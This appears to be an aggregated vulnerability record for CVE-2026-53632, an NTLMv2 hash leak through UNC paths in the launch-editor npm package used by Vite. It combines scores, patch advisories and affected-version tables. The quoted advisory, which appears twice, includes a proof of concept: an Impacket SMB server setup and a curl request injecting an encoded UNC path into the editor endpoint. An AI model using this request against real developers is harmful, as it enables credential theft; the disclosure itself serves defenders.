CVE-2026-53632
NTLMv2 hash disclosure via UNC path handling on Windows
launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.5
NTLMv2 hash disclosure via UNC path handling on Windows
launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.
- Record
CVE-2026-53632- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - Weakness
- CWE-73, CWE-522
- Updated
- 2026-11-02
EUVDEUVD-2026-38299
5.5
launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.
- Record
EUVD-2026-38299- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-v6wh-96g9-6wx3
5.5
launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows
Summary
The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.
Impact
If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:
- using Windows
- NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
- the user accesses the attackers website that sends request to a middleware using
launch-editor - the server that has the middleware using
launch-editoris running - the attacker knows the URL for that server and the middleware
This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.
Details
launch-editor accepts file paths without validating or restricting Windows UNC paths such as:
\\attacker-host\share
On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.
The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.
PoC
From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.
First, let's create a directory to serve as an SMB share.
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt
Then, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/data
Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).
Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'
Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.
<img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />
- Record
GHSA-v6wh-96g9-6wx3- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - Weakness
- CWE-73, CWE-522
- Updated
- 2026-11-02
NVD
5.5
launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.
- Record
CVE-2026-53632- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-73, CWE-522
- Updated
- 2026-11-02
OSV
5.5
NTLMv2 hash disclosure via UNC path handling on Windows
launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.
- Record
CVE-2026-53632- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - Weakness
- CWE-522, CWE-73
- Updated
- 2026-11-02
OSVGHSA-v6wh-96g9-6wx3
5.5
launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows
Summary
The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.
Impact
If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:
- using Windows
- NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
- the user accesses the attackers website that sends request to a middleware using
launch-editor - the server that has the middleware using
launch-editoris running - the attacker knows the URL for that server and the middleware
This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.
Details
launch-editor accepts file paths without validating or restricting Windows UNC paths such as:
\\attacker-host\share
On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.
The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.
PoC
From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.
First, let's create a directory to serve as an SMB share.
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt
Then, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/data
Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).
Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'
Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.
<img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />
- Record
GHSA-v6wh-96g9-6wx3- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - Weakness
- CWE-522, CWE-73
- Updated
- 2026-11-02
Show 19 moreShow less
OSVCLSA-2026-1783991048 No score
TuxCare security update for vite (1 CVE)
TuxCare rebuilt vite to address 1 CVE. Fixed in 4.5.5-tuxcare.8.
- Record
CLSA-2026-1783991048- Updated
- 2026-11-02
OSVCLSA-2026-1784596270 No score
TuxCare security update for vite (3 CVEs)
TuxCare rebuilt vite to address 3 CVEs. Fixed in 4.5.14-tuxcare.3.
- Record
CLSA-2026-1784596270- Updated
- 2026-11-02
OSVCLSA-2026-1784683083 No score
TuxCare security update for vite (6 CVEs)
TuxCare rebuilt vite to address 6 CVEs. Fixed in 2.9.18-tuxcare.2.
- Record
CLSA-2026-1784683083- Updated
- 2026-11-02
OSVCLSA-2026-1788966294 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.12-tuxcare.1.
- Record
CLSA-2026-1788966294- Updated
- 2026-11-02
OSVCLSA-2026-1788967519 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.10-tuxcare.1.
- Record
CLSA-2026-1788967519- Updated
- 2026-11-02
OSVCLSA-2026-1788976179 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 7.3.2-tuxcare.1.
- Record
CLSA-2026-1788976179- Updated
- 2026-11-02
OSVCLSA-2026-1788976472 No score
TuxCare security update for vite (1 CVE)
TuxCare rebuilt vite to address 1 CVE. Fixed in 6.4.2-tuxcare.2.
- Record
CLSA-2026-1788976472- Updated
- 2026-11-02
OSVCLSA-2026-1789031855 No score
TuxCare security update for vite (16 CVEs)
TuxCare rebuilt vite to address 16 CVEs. Fixed in 4.1.5-tuxcare.1.
- Record
CLSA-2026-1789031855- Updated
- 2026-11-02
OSVCLSA-2026-1789032018 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.8-tuxcare.1.
- Record
CLSA-2026-1789032018- Updated
- 2026-11-02
OSVCLSA-2026-1789465375 No score
TuxCare security update for launch-editor (2 CVEs)
TuxCare rebuilt launch-editor to address 2 CVEs. Fixed in 2.2.1-tuxcare.1.
- Record
CLSA-2026-1789465375- Updated
- 2026-11-02
OSVCLSA-2026-1790758113 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.9-tuxcare.1.
- Record
CLSA-2026-1790758113- Updated
- 2026-11-02
OSVCLSA-2026-1790759630 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 7.3.3-tuxcare.1.
- Record
CLSA-2026-1790759630- Updated
- 2026-11-02
OSVCLSA-2026-1791814956 No score
TuxCare security update for vite (3 CVEs)
TuxCare rebuilt vite to address 3 CVEs. Fixed in 5.0.12-tuxcare.6.
- Record
CLSA-2026-1791814956- Updated
- 2026-11-02
OSVCLSA-2026-1791833577 No score
TuxCare security update for vite (1 CVE)
TuxCare rebuilt vite to address 1 CVE. Fixed in 4.5.0-tuxcare.3.
- Record
CLSA-2026-1791833577- Updated
- 2026-11-02
OSVCLSA-2026-1791897792 No score
TuxCare security update for vite (8 CVEs)
TuxCare rebuilt vite to address 8 CVEs. Fixed in 5.4.10-tuxcare.4.
- Record
CLSA-2026-1791897792- Updated
- 2026-11-02
OSVCLSA-2026-1792225953 No score
TuxCare security update for @vitejs/plugin-react (7 CVEs)
TuxCare rebuilt @vitejs/plugin-react to address 7 CVEs. Fixed in 2.9.18-tuxcare.2.
- Record
CLSA-2026-1792225953- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11680-1 No score
agama-web-ui-24+0.a836cced5-52.1 on GA media
These are all security issues fixed in the agama-web-ui-24+0.a836cced5-52.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11680-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21448-1 No score
Security update for agama-web-ui
This update for agama-web-ui fixes the following issues:
- CVE-2025-7783: form-data: unsafe
Math.random()function is used to select a boundary value for multipart form-encoded data (bsc#1246822). - CVE-2026-12143: form-data: CRLF injection via unescaped multipart field names and filenames (bsc#1272310).
- CVE-2026-13149: brace-expansion:
expand()function exhibits exponential-time complexity when processing non-expanding{}brace groups (bsc#1269927). - CVE-2026-13311: shell-quote: quadratic complexity in
parse()function when processing specially crafted strings (bsc#1269359). - CVE-2026-13676: fast-uri: host-based policy bypass due to failure to canonicalize Unicode/IDN hostnames for HTTP-family URLs (bsc#1269595).
- CVE-2026-27601: underscore: DoS via stack overflow due to missing depth limits in
_.flattenand_.isEqualfunctions (bsc#1259169). - CVE-2026-40181: react-router: open redirect to an external domain due to path values starting with
//being reinterpreted as protocol-relative URLs (bsc#1272311). - CVE-2026-49356: @babel/core: arbitrary file read via
sourceMappingURLcomment (bsc#1272317). - CVE-2026-53550: js-yaml: quadratic complexity in merge-key processing when processing a crafted YAML document (bsc#1268851).
- CVE-2026-53632: launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows (bsc#1272319).
- CVE-2026-54466: websocket-driver: message corruption via abuse of protocol length headers (bsc#1272312).
- CVE-2026-54490: websocket-driver: resource limit bypass via message compression (bsc#1272313).
- CVE-2026-55602: http-proxy-middleware: Host-header-driven backend routing bypass via
routerhost+path substring matching (bsc#1272318).
- Record
openSUSE-SU-2026:21448-1- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-53632 No score
CVE-2026-53632 in vite - Patched by Root
Root has patched CVE-2026-53632 in the vite package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-53632- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
launch-editornpm |
through 2.14.0 | 2.14.1 |
vitenpm |
8.0.0 to 8.0.15 | 8.0.16 |
vitenpm |
7.0.0 to 7.3.4 | 7.3.5 |
vitenpm |
through 6.4.2 | 6.4.3 |
vite-plusnpm |
through 0.1.23 | 0.1.24 |
viteTuxCare:npm |
4.5.5-tuxcare.0 up to 4.5.5-tuxcare.8, plus listed versions 4.5.54.5.5-tuxcare.14.5.5-tuxcare.24.5.5-tuxcare.34.5.5-tuxcare.44.5.5-tuxcare.54.5.5-tuxcare.64.5.5-tuxcare.7 |
4.5.5-tuxcare.8 |
viteTuxCare:npm From an advisory covering 3 CVEs |
4.5.14-tuxcare.0 up to 4.5.14-tuxcare.3, plus listed versions 4.5.144.5.14-tuxcare.14.5.14-tuxcare.2 |
4.5.14-tuxcare.3 |
viteTuxCare:npm From an advisory covering 6 CVEs |
2.9.18-tuxcare.0 up to 2.9.18-tuxcare.2, plus listed versions 2.9.182.9.18-tuxcare.1 |
2.9.18-tuxcare.2 |
viteTuxCare:npm From an advisory covering 2 CVEs |
8.0.12-tuxcare.0 up to 8.0.12-tuxcare.1, plus listed versions 8.0.12 |
8.0.12-tuxcare.1 |
viteTuxCare:npm From an advisory covering 2 CVEs |
8.0.10-tuxcare.0 up to 8.0.10-tuxcare.1, plus listed versions 8.0.10 |
8.0.10-tuxcare.1 |
Show 22 moreShow less
| Package | Affected | Fixed |
|---|---|---|
viteTuxCare:npm From an advisory covering 2 CVEs |
7.3.2-tuxcare.0 up to 7.3.2-tuxcare.1, plus listed versions 7.3.2 |
7.3.2-tuxcare.1 |
viteTuxCare:npm |
6.4.2-tuxcare.0 up to 6.4.2-tuxcare.2, plus listed versions 6.4.26.4.2-tuxcare.1 |
6.4.2-tuxcare.2 |
viteTuxCare:npm From an advisory covering 16 CVEs |
4.1.5-tuxcare.0 up to 4.1.5-tuxcare.1, plus listed versions 4.1.5 |
4.1.5-tuxcare.1 |
viteTuxCare:npm From an advisory covering 2 CVEs |
8.0.8-tuxcare.0 up to 8.0.8-tuxcare.1, plus listed versions 8.0.8 |
8.0.8-tuxcare.1 |
launch-editorTuxCare:npm From an advisory covering 2 CVEs |
2.2.1-tuxcare.0 up to 2.2.1-tuxcare.1, plus listed versions 2.2.1 |
2.2.1-tuxcare.1 |
viteTuxCare:npm From an advisory covering 2 CVEs |
8.0.9-tuxcare.0 up to 8.0.9-tuxcare.1, plus listed versions 8.0.9 |
8.0.9-tuxcare.1 |
viteTuxCare:npm From an advisory covering 2 CVEs |
7.3.3-tuxcare.0 up to 7.3.3-tuxcare.1, plus listed versions 7.3.3 |
7.3.3-tuxcare.1 |
viteTuxCare:npm From an advisory covering 3 CVEs |
5.0.12-tuxcare.0 up to 5.0.12-tuxcare.6, plus listed versions 5.0.125.0.12-tuxcare.15.0.12-tuxcare.25.0.12-tuxcare.35.0.12-tuxcare.45.0.12-tuxcare.5 |
5.0.12-tuxcare.6 |
viteTuxCare:npm |
4.5.0-tuxcare.0 up to 4.5.0-tuxcare.3, plus listed versions 4.5.04.5.0-tuxcare.14.5.0-tuxcare.2 |
4.5.0-tuxcare.3 |
viteTuxCare:npm From an advisory covering 8 CVEs |
5.4.10-tuxcare.0 up to 5.4.10-tuxcare.4, plus listed versions 5.4.105.4.10-tuxcare.15.4.10-tuxcare.25.4.10-tuxcare.3 |
5.4.10-tuxcare.4 |
@vitejs/plugin-reactTuxCare:npm From an advisory covering 7 CVEs |
2.9.18-tuxcare.0 up to 2.9.18-tuxcare.2, plus listed versions 2.9.182.9.18-tuxcare.1 |
2.9.18-tuxcare.2 |
launch-editornpm |
before 2.14.1 | 2.14.1 |
vitenpm |
8.0.0 up to 8.0.16 | 8.0.16 |
vitenpm |
7.0.0 up to 7.3.5 | 7.3.5 |
vitenpm |
before 6.4.3 | 6.4.3 |
vite-plusnpm |
before 0.1.24 | 0.1.24 |
viteRoot:npm |
before 5.4.21-aikido.3 | 5.4.21-aikido.38.0.14-aikido.15.4.21-aikido.4 |
launch-editorRoot:npm |
before 2.9.1-aikido.1 | 2.9.1-aikido.12.13.2-aikido.12.14.0-aikido.12.10.0-aikido.1 |
@rootio/viteRoot:npm |
before 5.4.21-root.io.3 | 5.4.21-root.io.38.0.14-root.io.15.4.21-root.io.4 |
@rootio/launch-editorRoot:npm |
before 2.9.1-root.io.1 | 2.9.1-root.io.12.13.2-root.io.12.14.0-root.io.12.10.0-root.io.1 |
agama-web-uiopenSUSE:Tumbleweed From an advisory covering 19 CVEs |
before 24+0.a836cced5-52.1 | 24+0.a836cced5-52.1 |
agama-web-uiopenSUSE:Leap 16.0 From an advisory covering 13 CVEs |
before 17+673.b97ba64d6-160000.12.1 | 17+673.b97ba64d6-160000.12.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-53632 is a medium vulnerability (CVSS 5.5) in Vitejs Launch-editor, published June 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in launch-editor 2.14.1.
References
github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3
github.com/advisories/GHSA-v6wh-96g9-6wx3
github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53632.json
nvd.nist.gov/vuln/detail/CVE-2026-53632
github.com/vitejs/launch-editor
suse.com/security/cve/CVE-2025-7783
Show 37 moreShow less
suse.com/security/cve/CVE-2026-13149
suse.com/security/cve/CVE-2026-13676
suse.com/security/cve/CVE-2026-33245
suse.com/security/cve/CVE-2026-49356
suse.com/security/cve/CVE-2026-53550
suse.com/security/cve/CVE-2026-53632
suse.com/security/cve/CVE-2026-54466
suse.com/security/cve/CVE-2026-55602
suse.com/security/cve/CVE-2026-67313
suse.com/security/cve/CVE-2026-67315
suse.com/security/cve/CVE-2026-67317
suse.com/security/cve/CVE-2026-67319
suse.com/security/cve/CVE-2026-67321
suse.com/security/cve/CVE-2026-69153
suse.com/security/cve/CVE-2026-73086
suse.com/security/cve/CVE-2026-73088
suse.com/security/cve/CVE-2026-73089
suse.com/security/cve/CVE-2026-73650
bugzilla.suse.com/1246822
bugzilla.suse.com/1259169
bugzilla.suse.com/1268851
bugzilla.suse.com/1269359
bugzilla.suse.com/1269514
bugzilla.suse.com/1269595
bugzilla.suse.com/1269927
bugzilla.suse.com/1272310
bugzilla.suse.com/1272311
bugzilla.suse.com/1272312
bugzilla.suse.com/1272313
bugzilla.suse.com/1272317
bugzilla.suse.com/1272318
bugzilla.suse.com/1272319
suse.com/security/cve/CVE-2026-12143
suse.com/security/cve/CVE-2026-13311
suse.com/security/cve/CVE-2026-27601
suse.com/security/cve/CVE-2026-40181
suse.com/security/cve/CVE-2026-54490